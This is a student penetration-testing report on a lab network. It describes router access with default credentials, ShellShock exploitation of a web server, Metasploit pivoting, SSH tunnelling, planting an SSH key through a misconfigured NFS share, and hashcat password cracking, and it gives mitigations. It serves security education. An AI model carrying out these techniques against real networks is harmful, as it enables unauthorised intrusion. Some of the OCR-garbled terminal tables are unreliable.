

NETWORK INFRASTRUCTURE

SECURITY EVALUATION

Andrew Calder

CMP 314: Computer Networking 2

BSc Ethical Hacking Year 3

2017/18

+Contents

| 1 | Ir | ntro | duction1 | | | | |
|----|-----------------------|-------|--------------------------------------|--|--|--|--|
| | 1.2 Aim and structure | | | | | | |
| 2 | Ν | /lapp | ping the network2 | | | | |
| | 2.1 | I | Mapping the network2 | | | | |
| | 2 | .1.1 | Mapping the visible network2 | | | | |
| | 2 | .1.2 | Mapping beyond the Firewall1 | | | | |
| | 2.2 | I | Network map1 | | | | |
| | 2.3 | | Subnet table2 | | | | |
| | 2.4 | | Security evaluation1 | | | | |
| | 2 | .4.1 | Generic Issues1 | | | | |
| | 2 | .4.2 | Routers2 | | | | |
| | 2 | .4.3 | Workstations | | | | |
| | 2 | .4.4 | Firewall | | | | |
| | 2 | .4.5 | Web Server14 | | | | |
| | 2.5 | (| Critical Evaluation | | | | |
| | 2.6 | (| Conclusions | | | | |
| Re | efere | ence | 251 | | | | |
| Ap | open | dice | es3 | | | | |
| | Арр | end | lix A – Subnet calculations example3 | | | | |
| | 2.7 | 1 | Appendix B – Intial nmap scan5 | | | | |
| | 2.8 | 1 | Appendix C – ShellShock script8 | | | | |
| | 2.9 | 1 | Appendix D – SSH Tunnel9 | | | | |
| | 2.10 |) / | Appendix E – SOCKS5 Proxy | | | | |
| | 2.11 | 1 / | Appendix F -SSH Keygen11 | | | | |
| | 2.12 | 2 / | Appendix G -SNMP info12 | | | | |
| | 2.13 | 3 / | Appendix H – NFS Permissions14 | | | | |
| | 2.14 | 1, | Appendix I – Final nmap scan15 | | | | |

1 INTRODUCTION

1.2 AIM AND STRUCTURE

This report aims to provide the client with an understanding of how an attacker could develop an understanding of the network topology, and how they could use that to perform targeted attacks on individual systems to compromise the network. A network diagram will be produced which will visualize all the devices that are in use on the network and a network table will be constructed which will detail the subnet addresses, masks, valid range of hosts and the broadcast addresses associated with each.

The report cover any vulnerabilities that have been discovered, including a demonstration of how they might be used and where possible, how they can be mitigated. The report will close with an overview of that state of the network as a whole.

2 MAPPING THE NETWORK

2.1 MAPPING THE NETWORK

2.1.1 Mapping the visible network

In order to produce a network map, it is essential to know what exists on the network. This can be established in a variety of ways. *Nmap* is a free, open source tool that aids network discovery and security auditing (nmap.org, 2010). The tester used *Nmap* to enumerate the hosts and open ports on each host; an initial *Nmap* scan can be seen in *Appendix B – Intial Nmap Scan*. Including the provided Kali system, the scan revealed 13 hosts.

To identify the devices that correspond with each host, the open ports returned by the nmap scan were reviewed. Using the open ports, the devices could be categorized; devices with similar running open ports were very likely the same kind of device. Some of the devices had http running on them, navigating to those devices in a browser revealed they were "VyOS" based routers. The *VyOS* routers didn't have a login portal, only a landing page so nothing else could be done over http.



Figure 2.1.1a – Logging into VyOS with default credentials

The *VyOS* routers have telnet enabled, telnetting into the routers and logging in with the default *VyOS* credentials gives full access to each router as can be seen in *Figure 2.1.1a* above. Using the *show interfaces* command shows the tester was able to correlate the multiple IP addresses associated with each router. In *Figure 2.1.1b* below, the IP addresses associated with Router 1's interfaces can be seen.

| Interface | IP Address | S/L Description |
|-----------|------------------|-----------------|
| | | |
| eth0 | 192.168.0.193/27 | u/u |
| eth1 | 192.168.0.225/30 | u/u |
| lo | 127.0.0.1/8 | u/u |
| | ::1/128 | |



Subnet calculations indicate that Kali (192.168.0.200) is part of the same subnet as 192.168.0.193/27, meaning that .193 is the receiving interface and .225 is the outgoing interface from the perspective of Kali.

Performing the *show arp* command reveals that .199 is on the same interface as Kali, as can be seen in *Figure 2.1.1c* below. There is likely either a switch or a hub between this router and the hosts mentioned; those are most common methods of connecting multiple hosts to one interface. By performing a Wireshark capture while pinging .199 it was determined that a switch was being used – if a hub or other method was being used then Wireshark on 200 would have received packets intended for .199.

| vvos@vvos:~\$ show arp | | | | Not show | u: 997 | closed |
|--------------------------------|-----------------|--|------------|----------|--------|---------------|
| Address 192.168.0.226 | HWtype ether | HWaddress 00:50:56:99:56:5f | Flags C | Mask | STATE | Iface eth1 |
| 192.168.0.200 192.168.0.199 | ether ether | 00:0c:29:b7:82:b9 00:0c:29:0d:67:c6 | C C | 2049/tcp | | eth0 eth0 |
| vyos@vyos:~\$ | | | | Mman sca | | nt for |



The *show arp* command provides the 'receiving' interface of neighbouring devices, and as such the tester was able to create a repeatable process to establish the device connections. Using subnet calculations and *show arp* the tester managed locate all devices except for the firewall, Router 4 and the admin .66 workstation. Using the *show arp* command on Router 3 revealed a previously unseen host – 234. It does not respond to pings and does not appear on any other scans – this later turned out to be the firewall.

Having established the location of all visible devices, it was time to identify the remaining devices; 199, 34 and 130 were all very similar and appear to be standard office workstations. They all have exactly the same ports open and with the exception of the *nfs* service they fall in line with the expected open ports for a workstation.

Using the *show ip* route command the tester was ascertained the existence of additional subnets. In combination with *show arp* on router 3 (*Figure 2.1.1d1*) -which revealed 234 it was established that there was a firewall between 233/30 and 242 as they exist on different subnets, all routes have been established and there is still no way to connect them. Further confirmation was given in the form of *show ip route* on 230; it states that the 64/27, 96/27 and 240/30 subnets are all accessible via 234 as can be seen in *Figure 2.1.1d* below.



Figure 2.1.1d1 – Router 3 – show arp

| Codes: K - kernel route, C - connected, S - static, R - RIP, 0 I - ISIS, B - BGP, > - selected route, * - FIB route C>* 3.3.3.3/32 is directly connected, lo C>* 127.0.0.0/8 is directly connected, lo C>* 127.0.168.0.04/27 [110/20] via 192.168.0.229, eth0, 02:24:42 O>* 192.168.0.04/27 [110/30] via 192.168.0.234, eth2, 02:24:06 O>* 192.168.0.04/27 [110/10] is directly connected, eth1, 02:25:31 C>* 192.168.0.128/27 [110/30] via 192.168.0.229, eth0, 02:24:32 O>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:32 O=* 192.168.0.228/30 [110/10] is directly connected, eth1 O>* 192.168.0.228/30 [110/10] is directly connected, eth2 O=* 192.168.0.232/30 [110/20] via 192.168.0.234, eth2, 02:24:66 O=* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:66 O | vvos@vvos:~\$ show ip route | |
|--|--|-------|
| <pre>C>* 3.3.3.3/32 is directly connected, lo C>* 127.0.0.0/8 is directly connected, lo C>* 127.0.0.0/8 is directly connected, lo C>* 192.168.0.32/27 [110/20] via 192.168.0.224, eth2, 02:24:42 O>* 192.168.0.4/27 [110/20] via 192.168.0.234, eth2, 02:24:06 D>* 192.168.0.128/27 [110/20] via 192.168.0.234, eth2, 02:24:06 D>* 192.168.0.128/27 [110/30] via 192.168.0.224, eth2, 02:24:07 D>* 192.168.0.128/27 [110/30] via 192.168.0.229, eth0, 02:24:32 O>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:32 O>* 192.168.0.228/30 [110/10] is directly connected, eth1 D>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 D>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.228/30 is directly connected, eth2 D> 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 D> 102.168.0.240/30 [110/20]</pre> | Codes: K - kernel route, C - connected, S - static, R - RIP, O - | OSPF, |
| C>* 3.3.3.3/3/2 is directly connected, lo C>* 127.0.0.0/8 is directly connected, lo (C>* 127.0.0.0/8 is directly connected, lo (C>* 127.0.0.0/8 is directly connected, lo (C)* 192.168.0.32/27 [110/20] via 192.168.0.229, eth0, 02:24:42 (C)* 192.168.0.128/27 [110/20] via 192.168.0.234, eth2, 02:24:06 (C)* 192.168.0.128/27 [110/10] is directly connected, eth1, 02:25:31 (C)* 192.168.0.128/27 [110/20] via 192.168.0.229, eth0, 02:24:42 (C)* 192.168.0.128/27 [110/20] via 192.168.0.229, eth0, 02:24:42 (C)* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 (C)* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 (C)* 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 (C)* 192.168.0.24/30 [110/20] via 192.168.0.234, eth2, 02:24:06 (C)* 192.168.0.24/ | 1 - 1313, B - Bor, 2 - Selected Foule, - The Foule | |
| <pre>C>* 127.0.0.0/8 is directly connected, lo 0>* 192.168.0.32/27 [110/20] via 192.168.0.229, eth0, 02:24:42 0>* 192.168.0.64/27 [110/30] via 192.168.0.234, eth2, 02:24:46 0 192.168.0.128/27 [110/10] is directly connected, eth1, 02:25:31 0>* 192.168.0.128/27 [110/30] via 192.168.0.229, eth0, 02:24:32 0>* 192.168.0.128/27 [110/30] via 192.168.0.229, eth0, 02:24:32 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:32 0>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 0>* 192.168.0.228/30 [110/10] is directly connected, eth2, 02:25:31 0>* 192.168.0.228/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.228/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.228/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06</pre> | C>* 3.3.3.3/32 is directly connected, lo | |
| <pre>0>* 192.168.0.32/27 [110/20] via 192.168.0.229, eth0, 02:24:42 0>* 192.168.0.64/27 [110/20] via 192.168.0.234, eth2, 02:24:66 0 192.168.0.06/27 [110/20] via 192.168.0.234, eth2, 02:24:66 0 192.168.0.128/27 [110/10] is directly connected, eth1, 02:25:31 0>* 192.168.0.128/27 is directly connected, eth1 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.232/30 [110/20] via 192.168.0.234, eth2, 02:24:66 D>* 192.168.0.240/30 [110/20] via 192.168.0.234,</pre> | C>* 127.0.0.0/8 is directly connected, lo | |
| <pre>0>* 192.168.0.64/27 [110/30] via 192.168.0.234, eth2, 02:24:06 0>* 192.168.0.96/27 [110/20] via 192.168.0.234, eth2, 02:24:06 192.168.0.128/27 [110/10] is directly connected, eth1 0>* 192.168.0.128/27 [110/30] via 192.168.0.229, eth0, 02:24:32 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 0>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 0>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 0>* 192.168.0.228/30 [110/10] is directly connected, eth2, 02:25:31 0>* 192.168.0.228/30 is directly connected, eth2 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06</pre> | 0>* 192.168.0.32/27 [110/20] via 192.168.0.229, eth0, 02:24:42 | |
| <pre>0>* 192.168.0.96/27 [110/20] via 192.168.0.234, eth2, 02:24:06 0 192.168.0.128/27 [110/10] is directly connected, eth1, 02:25:31 0>* 192.168.0.128/27 [110/30] via 192.168.0.229, eth0, 02:24:32 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 0>* 192.168.0.224/30 [110/10] is directly connected, eth0, 02:25:31 0>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 0>* 192.168.0.228/30 is directly connected, eth2 0>* 192.168.0.228/30 [110/10] is directly connected, eth2 0>* 192.168.0.228/30 [110/10] is directly connected, eth2 0>* 192.168.0.228/30 [110/20] via 192.168.0.234, eth2, 02:25:31 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06</pre> | 0>* 192.168.0.64/27 [110/30] via 192.168.0.234, eth2, 02:24:06 | |
| <pre>0 192.168.0.128/27 [110/10] is directly connected, eth1, 02:25:31 C>* 192.168.0.128/27 [110/10] is directly connected, eth1 0>* 192.168.0.122/7 [110/30] via 192.168.0.229, eth0, 02:24:32 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.232/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06</pre> | 0>* 192.168.0.96/27 [110/20] via 192.168.0.234, eth2, 02:24:06 | |
| <pre>C>* 192.168.0.128/27 is directly connected, eth1 D>* 192.168.0.122/27 [110/30] via 192.168.0.229, eth0, 02:24:32 D>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 D>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 D>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06</pre> | 0 192.168.0.128/27 [110/10] is directly connected, eth1, 02:25 | :31 |
| <pre>0>* 192.168.0.192/27 [110/30] via 192.168.0.229, eth0, 02:24:32 [227] 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 [227] 0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 (>* 192.168.0.228/30 is directly connected, eth0, 02:25:31 (>* 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 (>* 192.168.0.232/30 is directly connected, eth2, 02:25:31 (>* 192.168.0.232/30 is directly connected, eth2, 02:25:31 (>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 [100/20] via 192.168.</pre> | <pre>C>* 192.168.0.128/27 is directly connected, eth1</pre> | |
| <pre>0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 2210 0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 (>* 192.168.0.228/30 is directly connected, eth2 0 192.168.0.232/30 [110/10] is directly connected, eth2 0>* 192.168.0.232/30 is directly connected, eth2 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0 to 240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0 to 240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 0 to 240/30 [110/20] via 192.168.0.234, eth2, 02:24:06</pre> | 0>* 192.168.0.192/27 [110/30] via 192.168.0.229, eth0, 02:24:32 | |
| <pre>0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25:31 C>* 192.168.0.228/30 is directly connected, eth0 0 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.232/30 is directly connected, eth2 0>* 192.168.0.232/30 is directly connected, eth2 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 Host vyos@vyos:~\$</pre> | 0>* 192.168.0.224/30 [110/20] via 192.168.0.229, eth0, 02:24:42 | |
| C>* 192.168.0.228/30 is directly connected, eth0 2009 0 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.232/30 is directly connected, eth2 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 Vyos@vyos:\$ | 0 192.168.0.228/30 [110/10] is directly connected, eth0, 02:25 | :31 |
| 0 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25:31 C>* 192.168.0.232/30 is directly connected, eth2 O>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 Vyos@vyos:-\$ ■ | C>* 192.168.0.228/30 is directly connected, eth0 | |
| C>* 192.168.0.232/30 is directly connected, eth2 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 Vyos@vyos:-\$ | 0 192.168.0.232/30 [110/10] is directly connected, eth2, 02:25 | :31 |
| 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 | <pre>C>* 192.168.0.232/30 is directly connected, eth2</pre> | |
| vyos@vyos:~\$ | 0>* 192.168.0.240/30 [110/20] via 192.168.0.234, eth2, 02:24:06 | |
| | vyos@vyos:~\$ | |

Figure 2.1.1d2 – Router 3 – show ip route

Excluding the IP addresses associated with the router interfaces leaves 242. As 242 has http enabled it could be a web server; navigating to 192.168.0.242 with the web browser confirms these suspicions. The Web server hosts a landing page with a help button that links to a Rick Astley video.

Nikto is a web server scanning tool, it is particularly useful for finding default included files and misconfigurations. Nikto reported that the Apache web server running on 242 was vulnerable to ShellShock – an exploit that allows for remote code execution (symantec.com, 2014). Since Metasploit can be vague when handling errors, a custom written script was used to prove the vulnerability existed – this script can be seen in *Appendix C*. As the script was able to provide an interactive bash shell over *tcp*, the server was proven to be vulnerable to ShellShock.

Having identified 242 as the furthest away reachable host, a traceroute was performed to confirm the network map matched the deduced layout. Positioning appears to be correct based on the results from the traceroute scans. Additionally, a tracepath was performed from 242 – after access was obtained using the ShellShock vulnerability. The tracepath identified another interface on the firewall - 241, and furthered the confirmation of the network map, the tracepath can be seen in *Figure 2.1.1e* and 241's open ports can be seen in *Figure 2.1.1f*.

| <pre>root@kali:~# ssh root@192.168.0.242 root@192.168.0.242's password:</pre> | | |
|---|-----------|---------|
| Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic | x86_64) | |
| <pre>* Documentation: https://help.ubuntu.com/</pre> | | |
| Last login: Wed Sep 27 19:31:30 2017 from 192.168.0.200 | | |
| root@xadmin-virtual-machine:~# tracepath 192.168.0.200 | | |
| 1?: [LOCALHOST] | pmtu 1500 | |
| 1: 192.168.0.241 | 1.301ms | |
| 1: 192.168.0.241 | 4.038ms | |
| 2: 192.168.0.233 | 2.917ms | |
| 3: 192.168.0.229 | 2.403ms | |
| 4: 192.168.0.225 | 4.019ms | |
| 5: 192.168.0.200 | 3.207ms | reached |
| Resume: pmtu 1500 hops 5 back 5 | | |
| root@xadmin-virtual-machine:~# | | |

Figure 2.1.1e – Tracepath from 242 to 200

| <u>meterpreter</u> > run auxi | liary/scanner/portscan/tcp rhosts=192.168.0.241 |
|-------------------------------|---|
| [*] 192.168.0.241: | - 192.168.0.241:53 - TCP OPEN |
| [*] 192.168.0.241: | - 192.168.0.241:2601 - TCP OPEN |
| [*] 192.168.0.241: | - 192.168.0.241:2605 - TCP OPEN |

Figure 2.1.1f – Open ports 241

2.1.2 Mapping beyond the Firewall

Using ShellShock the tester was able to create a new user account on 242. When a ping scan was conducted for the range of the unseen subnets (64-128), it was found that 242 had access to areas of the network that it really shouldn't have access to. The web server can see the rest of the network; the script used to establish this can be seen in *Figure 2.1.2a* below.



Figure 2.1.2a Ping scan bash script

Having established that 242 offers more network to map, the tester had to explore methods of routing Kali's tools through 242. Each method gives slightly different results which together finalize the network map.

2.1.2.1 Pivoting

Metasploit framework (MSF) has module that allows for the creation of pivot point (offensivesecurity.com, 2017) that enables the tester to route traffic from what is normally a non-routable area of the network (rapid7.com, 2017). The limitation of the MSF module is that it only works within Metasploit, so tools not included with Metasploit cannot make use of it. Using the ShellShock vulnerability discussed in section 2.1.1 to create a MSF session, the tester was able to successfully perform a tcp port scan on 66 as can be seen in *Figure 2.1.2.1a* below.

| | | | root@kali: | ~ | 0 | • | 0 |
|----------------------------------|--|--|-----------------------|---|---------------|---|---|
| File | Edit View Search Terminal | Help | | | | | |
| <u>msf</u> [-] [*] ses: | exploit(apache_mod_cgi_b Meterpreter session 3 is 192.168.0.242 - Meterpre sions | <pre>ash_env_exec) > run not valid and will be cl ter session 3 closed.</pre> | osed | | | | Î |
| Act | ive sessions | | | | | | |
| I | d Type | Information | | Connection | | | |
| 2 | meterpreter x86/linux | uid=0, gid=0, euid=0, eg | id=0 @ 192.168.0.242 | 192.168.0.200:4444 -> 192.168.0.234:12908 (19 | 92.168.0.242) | | |
| <u>msf</u> [*] | exploit(<mark>apache_mod_cgi_b</mark> exec: clear | <pre>ash_env_exec) > clear</pre> | | | | | |
| <u>msf</u> [*1 | exploit(apache_mod_cgi_b | <pre>mash_env_exec) > route coutes defined</pre> | | | | | |
| <u>msf</u> [*] | exploit(apache_mod_cgi_b Route added | <pre>ash_env_exec) > route add</pre> | 192.168.0.66/27 2 | | | | |
| <u>msf</u> rho msf | <pre>exploit(apache_mod_cgi_b auxiliary(tcp) > set rho sts => 192.168.0.66 auxiliary(tcp) > run</pre> | <mark>ash_env_exec</mark>) > use auxil sts 192.168.0.66 | iary/scanner/portscan | /tcp | | | |
| [*] | 192.168.0.66: - | 192.168.0.66:22 - TCP OPE | N | | | | |

Figure 2.1.2.1a – MSF pivoting - TCP scan of 66

2.1.2.2 SSH tunnelling

Another way of routing traffic is using the 'tunnel' feature built into SSH. The SSH tunnel is more versatile than MSF pivoting as it routes all traffic to the target subnet through SSH. This means that there is no limitation on the tools that can be used with this. The setup of the SSH tunnel can be seen in *Appendix D* – *SSH Tunnel* and the results gained from rerunning scans against 66 can be seen in *Figure 2.1.2.2a* below.

| root@kali: ~ | • | • | 0 |
|--|---|---|---|
| File Edit View Search Terminal Help | | | |
| <mark>root@kali</mark> :~# fping 192.168.0.66 192.168.0.66 is alive <mark>root@kali</mark> :~# nmap 192.168.0.66 | | | ~ |
| Starting Nmap 7.40 (https://nmap.org) at 2017-09-27 16:23 EDT Nmap scan report for 192.168.0.66 Host is up (0.0095s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs | | | |

Figure 2.1.2.2a – Post SSH Tunnel Scans

2.1.2.3 SOCKS5 HTTP Proxy

A SOCKS5 HTTP proxy is another form of tunnel using SSH, except specifically for web traffic. Specific applications can be configured to forward their traffic through the SOCKS5 tunnel, such as Firefox (digitalocean.com, 2016). The setup of the SOCKS5 Proxy can be seen in *Appendix E – SOCKS5 Proxy*.

By routing web traffic through 242 the tester was able to gain access to the firewall login portal as can be seen in *Figure 2.1.2.3a* below. While disabling the firewall rules would be a valid way to proceed in mapping the rest of the network, it will only be used to verify results obtained using other methods.



2.1.2.4 Enabling SSH on 66

As 66 seemed to be the host that was the most hops away, it would be the best to perform a traceroute from; to finalize the network map. When trying to SSH into 66, the client refuses to connect citing publickey as the issue as can be seen in *Figure 2.1.2.4a* below.

| root@kali:~# ssh xadmin@192.168. | 0.66 response cannot create regula |
|----------------------------------|------------------------------------|
| sign and send pubkey: signing fa | iled: agent refused operation |
| Permission denied (publickey). | fig ssh hos |
| root@kali:~# b | |

Figure 2.1.2.4a – SSH 66 publickey permission denied

Using *showmount* it was established that the *nfs* share on 66 was misconfigured allowing for reading and writing for data system-wide. By mounting 66, it is possible to add the Kali SSH public key to 66's list of authorized keys, thus allowing connection. The process of generating a SSH key and adding it to 66, as well as obtaining access can be seen in *Appendix F* – *SSH Keygen*.

Having successfully obtained access a tracepath back to Kali (200) was conducted, the tracepath was then used to determine the router interfaces that had not yet been confirmed such as 65. The tracepath results can be seen in *Figure 2.1.2.4b* below.

| xadmi | in@xadmin-virtual-machine:~\$ tracepath 192.168 | 3.0.200 |
|-------|---|-----------|
| 1?: | [LOCALHOST] | pmtu 1500 |
| 1: | 192.168.0.65 | 1.505ms |
| 1: | 192.168.0.65 | 1.273ms |
| 2: | 192.168.0.98 | 4.127ms |
| 3: | 192.168.0.233 | 7.086ms |
| 4: | 192.168.0.229 | 9.984ms |
| 5: | 192.168.0.225 | 8.198ms |
| 6: | no reply | |

Figure 2.1.2.4b – Tracepath from 66 to 200

2.2 NETWORK MAP



2.3 SUBNET TABLE

| SUBNET | 192.168.0.32/27 | 192.168.0.64/27 | 192.168.0.96/27 | 192.168.0.128/27 | 192.168.0.192/27 | 192.168.0.224/30 | 192.168.0.228/30 | 192.168.0.232/30 | 192.168.0.240/30 |
|------------|-----------------|-----------------|-----------------|------------------|------------------|------------------|------------------|------------------|------------------|
| ADDRESS | | | | | | | | | |
| SUBNET | 255.255.255.224 | 255.255.255.224 | 255.255.255.224 | 255.255.255.224 | 255.255.255.224 | 255.255.255.252 | 255.255.255.252 | 255.255.255.252 | 255.255.255.252 |
| MASK | | | | | | | | | |
| HOST | 192.168.0.33 - | 192.168.0.65 - | 192.168.0.97 - | 192.168.0.129 - | 192.168.0.193 - | 192.168.0.225 - | 192.168.0.229 - | 192.168.0.233 - | 192.168.0.241 - |
| RANGE | 192.168.0.62 | 192.168.0.94 | 192.168.0.126 | 192.168.0.158 | 192.168.0.222 | 192.168.0.226 | 192.168.0.230 | 192.168.0.234 | 192.168.0.242 |
| IPS IN USE | 192.168.0.33, | 192.168.0.65, | 192.168.0.97, | 192.168.0.129, | 192.168.0.193, | 192.168.0.225, | 192.168.0.229, | 192.168.0.233, | 192.168.0.241, |
| | 192.168.0.34 | 192.168.0.66 | 192.168.0.98 | 192.168.0.130 | 192.168.0.194 | 192.168.0.226 | 192.168.0.230 | 192.168.0.234 | 192.168.0.242 |
| BROADCAST | 192.168.0.63 | 192.168.0.95 | 192.168.0.127 | 192.168.0.159 | 192.168.0.223 | 192.168.0.227 | 192.168.0.231 | 192.168.0.235 | 192.168.0.243 |
| ADDRESS | | | | | | | | | |

For an example of how subnet calculations were performed please refer to *Appendix A – Subnet Calculations*.

2.4 SECURITY EVALUATION

2.4.1 Generic Issues

2.4.1.1 Weak Passwords Vulnerability

Most of the passwords in use around the network are very weak, three of the passwords exist within the rockyou wordlist (github.com, 2016), the 4th was unable to be cracked and should be considered secure.

The three passwords that were cracked were: plums pears test

All three passwords were cracked in under a minute using Hashcat (hashcat.net, 2016) on a GTX 980ti as can be seen in the image below.

```
Dictionary cache hit:
 Filename..: rockyou.txt
 Passwords.: 14344385
 Bytes....: 139921507
 Keyspace..: 14344385
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>
Session..... hashcat
Status..... Running
Hash.Type.....: sha512crypt $6$, SHA512 (Unix)
Hash.Target.....: allpasswd.txt
Time.Started.....: Sat Dec 09 21:50:35 2017 (33 secs)
Time.Estimated...: Sat Dec 09 21:52:48 2017 (1 min, 40 secs)
Guess.Base.....: File (rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.Dev.#1....: 108.1 kH/s (84.14ms)
Recovered.....: 3/4 (75.00%) Digests, 3/4 (75.00%) Salts
Progress..... 14145388/57377540 (24.65%)
Rejected...... 87916/14145388 (0.62%)
Restore.Point....: 3443616/14344385 (24.01%)
Candidates.#1....: sweettea22 -> sonria5370
HWMon.Dev.#1.....: Temp: 79c Fan:100% Util:100% Core:1366MHz Mem:3304MHz Bus:16
```

Mitigation

Increase length and complexity of passwords. Passwords can be set using the "passwd" command.

2.4.2 Routers

2.4.2.1 Default Credentials Vulnerability

The VyOS routers use default credentials "vyos:vyos", making it easily accessible.

Mitigation

Change the default passwords to something more secure, an example of how to do this can be seen in *Figure 2.4.1.1a* below.



Figure 2.4.1.1a

2.4.2.2 Telnet Vulnerability

Routers can be connected to using telnet which is insecure as it transmits in cleartext. *Figure 2.4.1.2a* shows how telnet traffic could be intercepted in Wireshark.



Figure 2.4.1.2a – Telnet intercepted by Wireshark

Mitigation

Enable the SSH service as show in *Figure 2.4.1.1a*, SSH traffic is encrypted and thus cannot be so easily sniffed. Once SSH is enabled, delete the telnet service as can be seen in *Figure 2.4.1.2b*.

| [edit] vyos@vyos# delete service [edit] | telnet File Edit View Search Terminal |
|--|---|
| vyos@vyos# commit [edit] | |
| vyos@vyos# save bash Saving configuration to ', | [-0 ctl_cmd] [-0 /config/config.boot') [-4 |
| Done [edit] vyos@vyos# | |

Figure 2.4.1.2b – Delete Telnet Service

Proof of resolution

| vyos@vyos: ~ | 000 | | | | | | *eth0 | | | |
|--|--|--|--|--|---|--|---|--|---|--|
| File Edit View Search Terminal Help | | lew Go | Capture An | nalyze <u>S</u> tatist | ics Telephon | y Wireless | Tools Help | | | |
| rohtBull:-/Desktop# ssh vyos@192.168.0.230 Wiclome to VyOS vyos@192.168.0.230's password: vyos@192.168.0.230's password: | | lay filter | Ctrl-/> | ۵ ۹ | ا لہ. 🗢 = | + + 📃 | | e e 🎹 | | |
| Welcome to VvOS. | _04 | | D | | | | | | | |
| This system is open-source software. The exact distribution terms for each module comprising the full system are described in the individual files in /usr/share/doc/*/copyright. Last longin: Thu Sen 28 Ad-59-49 2017 from 192 168 A 20A | ource 92.168.0 92.168.0 92.168.0 | 30 30 30 | Destinatio 192.168 192.168 192.168 | .0.200 .0.200 .0.200 | SSHv2 SSHv2 SSHv2 SSHv2 | Serve Serve Serve | r: Encrypte r: Encrypte r: Encrypte | d packet d packet d packet | (len=104) (len=72) (len=88) | Sen=3011 |
| vvos@vvos:~\$ show shadow/242 | 02.168.01 | 00 | 192.168 | .0.230 | TCP | 53044 | - 22 [ACK] | Seq=3394 | Ack=3098 Win=3430 | 04 Len=0 |
| Possible completions: | 12,168,0 | 0 | 192.168 | .0.200 | SSHv2 | Serve | r: Encrypte | d packet | (len=56) | |
